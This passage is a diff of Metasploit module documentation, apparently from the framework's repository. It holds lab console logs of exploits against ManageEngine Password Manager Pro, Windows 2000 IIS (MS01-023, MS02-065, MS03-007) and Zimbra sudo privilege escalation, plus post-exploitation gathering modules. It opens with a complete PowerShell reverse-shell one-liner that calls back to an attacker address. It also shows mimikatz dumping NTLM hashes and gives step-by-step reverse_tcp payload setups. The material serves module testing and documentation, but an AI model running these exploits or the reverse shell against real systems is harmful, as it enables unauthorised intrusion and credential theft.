[+] Successfully executed command: powershell -w hidden -nop -c $a='172.17.255.112';$b=8899;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); } if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }}
|
||||
[*] Command shell session 1 opened (172.17.255.112:8899 -> 172.17.245.94:56612) at 2022-08-02 11:37:28 -0500
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.22000.795]
|
||||
(c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Program Files\ManageEngine\PMP\bin>
|
||||
-----
|
||||
|
||||
|
||||
C:\Program Files\ManageEngine\PMP\bin>whoami
|
||||
whoami
|
||||
nt authority\system
|
||||
|
||||
C:\Program Files\ManageEngine\PMP\bin>background
|
||||
|
||||
Background session 1? [y/N] y
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10.0.2 172.17.255.112:8899 -> 172.17.245.94:56612 (172.
|
||||
2000.795] (c) Microsoft Corpo... 17.245.94)
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -u 1
|
||||
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
|
||||
|
||||
[*] Upgrading session ID: 1
|
||||
[*] Starting exploit/multi/handler
|
||||
[*] Started reverse TCP handler on 172.17.255.112:4433
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) >
|
||||
[*] Sending stage (200774 bytes) to 172.17.245.94
|
||||
[*] Meterpreter session 2 opened (172.17.255.112:4433 -> 172.17.245.94:56631) at 2022-08-02 11:38:11 -0500
|
||||
[*] Stopping exploit/multi/handler
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10. 172.17.255.112:8899 -> 172.17.245.94:56612 (1
|
||||
0.22000.795] (c) Microsoft Corpo... 72.17.245.94)
|
||||
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN11-TEST 172.17.255.112:4433 -> 172.17.245.94:56631 (1
|
||||
72.17.245.94)
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > load kiwi
|
||||
Loading extension kiwi...
|
||||
.#####. mimikatz 2.2.0 20191125 (x64/windows)
|
||||
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
|
||||
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
|
||||
## \ / ## > http://blog.gentilkiwi.com/mimikatz
|
||||
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
|
||||
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
|
||||
|
||||
Success.
|
||||
meterpreter > creds_all
|
||||
[+] Running as SYSTEM
|
||||
[*] Retrieving all credentials
|
||||
msv credentials
|
||||
===============
|
||||
|
||||
Username Domain NTLM SHA1
|
||||
-------- ------ ---- ----
|
||||
admin WIN11-TEST 209c6174da490caeb422f3fa5a7ae634 7c87541fd3f3ef5016e12d411900c87a6046a8e8
|
||||
|
||||
wdigest credentials
|
||||
===================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
WIN11-TEST$ WORKGROUP (null)
|
||||
admin WIN11-TEST (null)
|
||||
|
||||
kerberos credentials
|
||||
====================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
admin WIN11-TEST (null)
|
||||
win11-test$ WORKGROUP (null)
|
||||
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,108 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploits a buffer overflow in the request processor of the
|
||||
Internet Printing Protocol ISAPI module in IIS. This module
|
||||
works against Windows 2000 Server and Professional SP0-SP1.
|
||||
|
||||
If the service stops responding after a successful compromise,
|
||||
run the exploit a couple more times to completely kill the
|
||||
hung process.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Professional SP0 (Dutch)
|
||||
* Windows 2000 Professional SP0 (Finnish)
|
||||
* Windows 2000 Professional SP0 (Greek)
|
||||
* Windows 2000 Professional SP0 (Korean)
|
||||
* Windows 2000 Professional SP0 (Turkish)
|
||||
* Windows 2000 Professional SP1 (Arabic)
|
||||
* Windows 2000 Professional SP1 (Czech)
|
||||
* Windows 2000 Professional SP1 (English)
|
||||
* Windows 2000 Professional SP1 (Greek)
|
||||
* Windows 2000 Server SP0 (Chinese)
|
||||
* Windows 2000 Server SP0 (Dutch)
|
||||
* Windows 2000 Server SP0 (English)
|
||||
* Windows 2000 Server SP0 (German)
|
||||
* Windows 2000 Server SP0 (Hungarian)
|
||||
* Windows 2000 Server SP0 (Italian)
|
||||
* Windows 2000 Server SP0 (Portuguese)
|
||||
* Windows 2000 Server SP0 (Spanish)
|
||||
* Windows 2000 Server SP0 (Turkish)
|
||||
* Windows 2000 Server SP1 (English)
|
||||
* Windows 2000 Server SP1 (French)
|
||||
* Windows 2000 Server SP1 (Swedish)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms01_023_printer`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `show targets` to see the possible targets
|
||||
1. `set TARGET [TARGET]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Professional SP1 (EN)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms01_023_printer
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.200.195
|
||||
rhosts => 192.168.200.195
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > check
|
||||
[*] 192.168.200.195:80 - The target appears to be vulnerable.
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > show targets
|
||||
|
||||
Exploit targets:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows 2000 SP0-SP1 (Arabic)
|
||||
1 Windows 2000 SP0-SP1 (Czech)
|
||||
2 Windows 2000 SP0-SP1 (Chinese)
|
||||
3 Windows 2000 SP0-SP1 (Dutch)
|
||||
4 Windows 2000 SP0-SP1 (English)
|
||||
5 Windows 2000 SP0-SP1 (French)
|
||||
6 Windows 2000 SP0-SP1 (Finnish)
|
||||
7 Windows 2000 SP0-SP1 (German)
|
||||
8 Windows 2000 SP0-SP1 (Korean)
|
||||
9 Windows 2000 SP0-SP1 (Hungarian)
|
||||
10 Windows 2000 SP0-SP1 (Italian)
|
||||
11 Windows 2000 SP0-SP1 (Portuguese)
|
||||
12 Windows 2000 SP0-SP1 (Spanish)
|
||||
13 Windows 2000 SP0-SP1 (Swedish)
|
||||
14 Windows 2000 SP0-SP1 (Turkish)
|
||||
15 Windows 2000 Pro SP0 (Greek)
|
||||
16 Windows 2000 Pro SP1 (Greek)
|
||||
|
||||
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set target 4
|
||||
target => 4
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set payload windows/shell/reverse_tcp
|
||||
payload => windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Using target: Windows 2000 SP0-SP1 (English) ...
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.195
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1168) at 2022-07-08 11:07:42 -0400
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
C:\WINNT\system32>ver
|
||||
ver
|
||||
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
```
|
||||
@@ -0,0 +1,90 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module can be used to execute arbitrary code on IIS servers
|
||||
that expose the /msadc/msadcs.dll Microsoft Data Access Components
|
||||
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
|
||||
exploitable even when RDS is configured to deny remote connections
|
||||
(handsafe.reg). The service is vulnerable to a heap overflow where
|
||||
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
|
||||
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Pro SP0-SP3 (English)
|
||||
* Windows 2000 Pro SP0 (Korean)
|
||||
* Windows 2000 Pro SP0 (Dutch)
|
||||
* Windows 2000 Pro SP0 (Finnish)
|
||||
* Windows 2000 Pro SP0 (Turkish)
|
||||
* Windows 2000 Pro SP0-SP1 (Greek)
|
||||
* Windows 2000 Pro SP1 (Arabic)
|
||||
* Windows 2000 Pro SP1 (Czech)
|
||||
* Windows 2000 Pro SP2 (French)
|
||||
* Windows 2000 Pro SP2 (Portuguese)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms02_065_msadc`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `show targets` to see the possible targets
|
||||
1. `set TARGET [TARGET]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Professional SP3 (EN)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms02_065_msadc
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
|
||||
rhosts => 192.168.200.186
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > show targets
|
||||
|
||||
Exploit targets:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows 2000 Pro SP0-SP3 (English)
|
||||
1 Windows 2000 Pro SP0 (Korean)
|
||||
2 Windows 2000 Pro SP0 (Dutch)
|
||||
3 Windows 2000 Pro SP0 (Finnish)
|
||||
4 Windows 2000 Pro SP0 (Turkish)
|
||||
5 Windows 2000 Pro SP0-SP1 (Greek)
|
||||
6 Windows 2000 Pro SP1 (Arabic)
|
||||
7 Windows 2000 Pro SP1 (Czech)
|
||||
8 Windows 2000 Pro SP2 (French)
|
||||
9 Windows 2000 Pro SP2 (Portuguese)
|
||||
|
||||
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > check
|
||||
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.186
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
C:\WINNT\system32>ver
|
||||
ver
|
||||
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
```
|
||||
@@ -0,0 +1,105 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploits a buffer overflow in NTDLL.dll on Windows 2000
|
||||
through the SEARCH WebDAV method in IIS. This particular
|
||||
module only works against Windows 2000. It should have a
|
||||
reasonable chance of success against SP0 to SP3.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Professional SP0 (EN)
|
||||
* Windows 2000 Professional SP0 (FI)
|
||||
* Windows 2000 Professional SP0 (NL)
|
||||
* Windows 2000 Professional SP0 (TR)
|
||||
* Windows 2000 Professional SP1 (AR)
|
||||
* Windows 2000 Professional SP1 (CZ)
|
||||
* Windows 2000 Professional SP1 (EN)
|
||||
* Windows 2000 Professional SP2 (EN)
|
||||
* Windows 2000 Professional SP2 (FR)
|
||||
* Windows 2000 Professional SP2 (PT)
|
||||
* Windows 2000 Professional SP3 (EN)
|
||||
* Windows 2000 Server SP0 (DE)
|
||||
* Windows 2000 Server SP0 (EN)
|
||||
* Windows 2000 Server SP0 (ES)
|
||||
* Windows 2000 Server SP0 (FR)
|
||||
* Windows 2000 Server SP0 (HU)
|
||||
* Windows 2000 Server SP0 (NL)
|
||||
* Windows 2000 Server SP0 (PT)
|
||||
* Windows 2000 Server SP0 (TR)
|
||||
* Windows 2000 Server SP1 (EN)
|
||||
* Windows 2000 Server SP1 (SE)
|
||||
* Windows 2000 Server SP2 (EN)
|
||||
* Windows 2000 Server SP2 (RU)
|
||||
* Windows 2000 Server SP3 (DE)
|
||||
* Windows 2000 Server SP3 (IT)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms03_007_ntdll_webdav`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Professional SP1 (EN)
|
||||
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms03_007_ntdll_webdav
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set rhosts 192.168.200.195
|
||||
rhosts => 192.168.200.195
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > check
|
||||
[+] 192.168.200.195:80 - The target is vulnerable. We've hit a server error (exception)
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Trying return address 0x004e004f (1 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[-] Connection failed (3 of 20)...
|
||||
[-] Connection failed (4 of 20)...
|
||||
[*] Trying return address 0x00ce004f (2 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[*] Trying return address 0x00ce0041 (3 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[-] Connection failed (3 of 20)...
|
||||
[-] Connection failed (4 of 20)...
|
||||
[*] Trying return address 0x00430041 (4 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[*] Trying return address 0x00b40041 (5 / 88)...
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.195
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1066) at 2022-07-07 06:13:21 -0400
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
C:\WINNT\system32>ver
|
||||
ver
|
||||
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
|
||||
C:\WINNT\system32>
|
||||
```
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Currently, as of 2022-07-26, all versions of Zimbra are vulnerable. Presumably they'll patch it eventually - I have an open security ticket with Zimbra.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Install Zimbra on any supported Linux version and get a session as the `zimbra` user. I used Ubuntu 18.04 for testing, and then CVE-2022-30333 to exploit, but this will work on a fully patched system as well. Then...
|
||||
|
||||
```
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
10 meterpreter x86/linux zimbra @ zimbra.example.org 10.0.0.146:4444 -> 10.0.0.154:39800 (10.0.0.154)
|
||||
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > use exploit/linux/local/zimbra_slapper_priv_esc
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 10
|
||||
SESSION => 10
|
||||
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Executing: sudo -n -l
|
||||
[+] The target is vulnerable.
|
||||
[*] Creating exploit directory: /tmp/.5kq9XO
|
||||
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.5kq9XO/.1wNk1h3
|
||||
[*] Sending stage (3020772 bytes) to 10.0.0.154
|
||||
[+] Deleted /tmp/.5kq9XO
|
||||
[*] Meterpreter session 13 opened (10.0.0.146:4444 -> 10.0.0.154:40044) at 2022-07-21 14:04:12 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### SUDO_PATH
|
||||
|
||||
The path to `sudo` on the host. If we have a proper environment with `$PATH` set, which we generally do, simply `sudo` is fine.
|
||||
|
||||
### ZIMBRA_BASE
|
||||
|
||||
The base where Zimbra is installed. Zimbra typically installs to `/opt/zimbra`, and I'm not even sure if it _can_ install elsewhere, so this default should be fine.
|
||||
@@ -0,0 +1,67 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module prints out the operating system environment variables.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session
|
||||
1. Do: `use post/multi/gather/env`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 11 Pro (10.0.22000 N/A Build 22000)
|
||||
|
||||
```
|
||||
msf6 > use post/multi/gather/env
|
||||
msf6 post(multi/gather/env) > set session 1
|
||||
session => 1
|
||||
msf6 post(multi/gather/env) > run
|
||||
|
||||
[*] Running module against WinDev2110Eval (192.168.200.140)
|
||||
ALLUSERSPROFILE=C:\ProgramData
|
||||
APPDATA=C:\Users\User\AppData\Roaming
|
||||
CommonProgramFiles=C:\Program Files\Common Files
|
||||
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
|
||||
CommonProgramW6432=C:\Program Files\Common Files
|
||||
COMPUTERNAME=WINDEV2110EVAL
|
||||
ComSpec=C:\Windows\system32\cmd.exe
|
||||
DriverData=C:\Windows\System32\Drivers\DriverData
|
||||
HOMEDRIVE=C:
|
||||
HOMEPATH=\Users\User
|
||||
LOCALAPPDATA=C:\Users\User\AppData\Local
|
||||
LOGONSERVER=\\WINDEV2110EVAL
|
||||
NUMBER_OF_PROCESSORS=2
|
||||
OneDrive=C:\Users\User\OneDrive
|
||||
OS=Windows_NT
|
||||
Path=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Program Files\Microsoft SQL Server\130\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\;C:\Users\User\AppData\Local\Microsoft\WindowsApps;;C:\Users\User\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\User\.dotnet\tools
|
||||
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
|
||||
PROCESSOR_ARCHITECTURE=AMD64
|
||||
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 26 Stepping 5, GenuineIntel
|
||||
PROCESSOR_LEVEL=6
|
||||
PROCESSOR_REVISION=1a05
|
||||
ProgramData=C:\ProgramData
|
||||
ProgramFiles=C:\Program Files
|
||||
ProgramFiles(x86)=C:\Program Files (x86)
|
||||
ProgramW6432=C:\Program Files
|
||||
PROMPT=$P$G
|
||||
PSExecutionPolicyPreference=Bypass
|
||||
PSModulePath=C:\Users\User\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
|
||||
PUBLIC=C:\Users\Public
|
||||
SESSIONNAME=Console
|
||||
SystemDrive=C:
|
||||
SystemRoot=C:\Windows
|
||||
TEMP=C:\Users\User\AppData\Local\Temp
|
||||
TMP=C:\Users\User\AppData\Local\Temp
|
||||
USERDOMAIN=WINDEV2110EVAL
|
||||
USERDOMAIN_ROAMINGPROFILE=WINDEV2110EVAL
|
||||
USERNAME=User
|
||||
USERPROFILE=C:\Users\User
|
||||
windir=C:\Windows
|
||||
[+] Results saved to /root/.msf4/loot/20220731233101_default_192.168.200.140_windows.environm_058721.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,44 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will check the file system and registry for particular artifacts.
|
||||
|
||||
The list of artifacts is read in YAML format from `data/post/enum_artifacts_list.txt`
|
||||
or a user specified file. Any matches are written to the loot.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session
|
||||
1. Do: `use post/windows/gather/enum_artifcats`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### ARTIFACTS
|
||||
|
||||
Full path to artifacts file.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 (6.1 Build 7601, Service Pack 1)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_artifacts
|
||||
msf6 post(windows/gather/enum_artifacts) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_artifacts) > set verbose true
|
||||
verbose => true
|
||||
msf6 post(windows/gather/enum_artifacts) > run
|
||||
|
||||
[*] Searching for artifacts of test_evidence
|
||||
[*] Processing 2 file entries for test_evidence ...
|
||||
[*] Processing 2 registry entries for test_evidence ...
|
||||
[*] Artifacts of test_evidence found.
|
||||
Evidence of test_evidence found.
|
||||
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI\DisplayName
|
||||
|
||||
[+] Enumerated Artifacts stored in: /root/.msf4/loot/20220807015628_default_192.168.200.190_enumerated.artif_933981.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -1,64 +1,61 @@
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module will enumerate current and recently logged on Windows users.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get meterpreter session
|
||||
3. Do: ```use post/windows/gather/enum_logged_on_users```
|
||||
4. Do: ```set SESSION <session id>```
|
||||
5. Do: ```run```
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Do: `use post/windows/gather/enum_logged_on_users`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**CURRENT**
|
||||
### CURRENT
|
||||
|
||||
Enumerate currently logged on users. Default: ```true```
|
||||
Enumerate currently logged on users. (default: `true`)
|
||||
|
||||
**RECENT**
|
||||
### RECENT
|
||||
|
||||
Enumerate Recently logged on users. Default: ```true```
|
||||
Enumerate recently logged on users. (default: `true`)
|
||||
|
||||
**SESSION**
|
||||
|
||||
The session to run this module on.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 (6.1 Build 7601, Service Pack 1).
|
||||
|
||||
```
|
||||
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700
|
||||
```
|
||||
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700
|
||||
|
||||
msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
|
||||
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(windows/gather/enum_logged_on_users) > run
|
||||
msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
|
||||
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(windows/gather/enum_logged_on_users) > run
|
||||
|
||||
[*] Running against session 1
|
||||
[*] Running module against TEST-PC (192.168.1.10)
|
||||
|
||||
Current Logged Users
|
||||
====================
|
||||
Current Logged Users
|
||||
====================
|
||||
|
||||
SID User
|
||||
--- ----
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 TEST-PC\TEST
|
||||
SID User
|
||||
--- ----
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 TEST-PC\TEST
|
||||
|
||||
|
||||
[+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt
|
||||
[+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt
|
||||
|
||||
Recently Logged Users
|
||||
=====================
|
||||
Recently Logged Users
|
||||
=====================
|
||||
|
||||
SID Profile Path
|
||||
--- ------------
|
||||
S-1-5-18 %systemroot%\system32\config\systemprofile
|
||||
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
|
||||
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 C:\Users\TEST
|
||||
SID Profile Path
|
||||
--- ------------
|
||||
S-1-5-18 %systemroot%\system32\config\systemprofile
|
||||
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
|
||||
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 C:\Users\TEST
|
||||
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
[+] Results saved in: /root/.msf4/loot/20191213054458_default_192.168.1.10_host.users.recen_365577.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
@@ -0,0 +1,241 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will enumerate Microsoft PowerShell settings.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session
|
||||
1. Do: `use post/windows/gather/enum_powershell_env`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 (6.1 Build 7601, Service Pack 1)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_powershell_env
|
||||
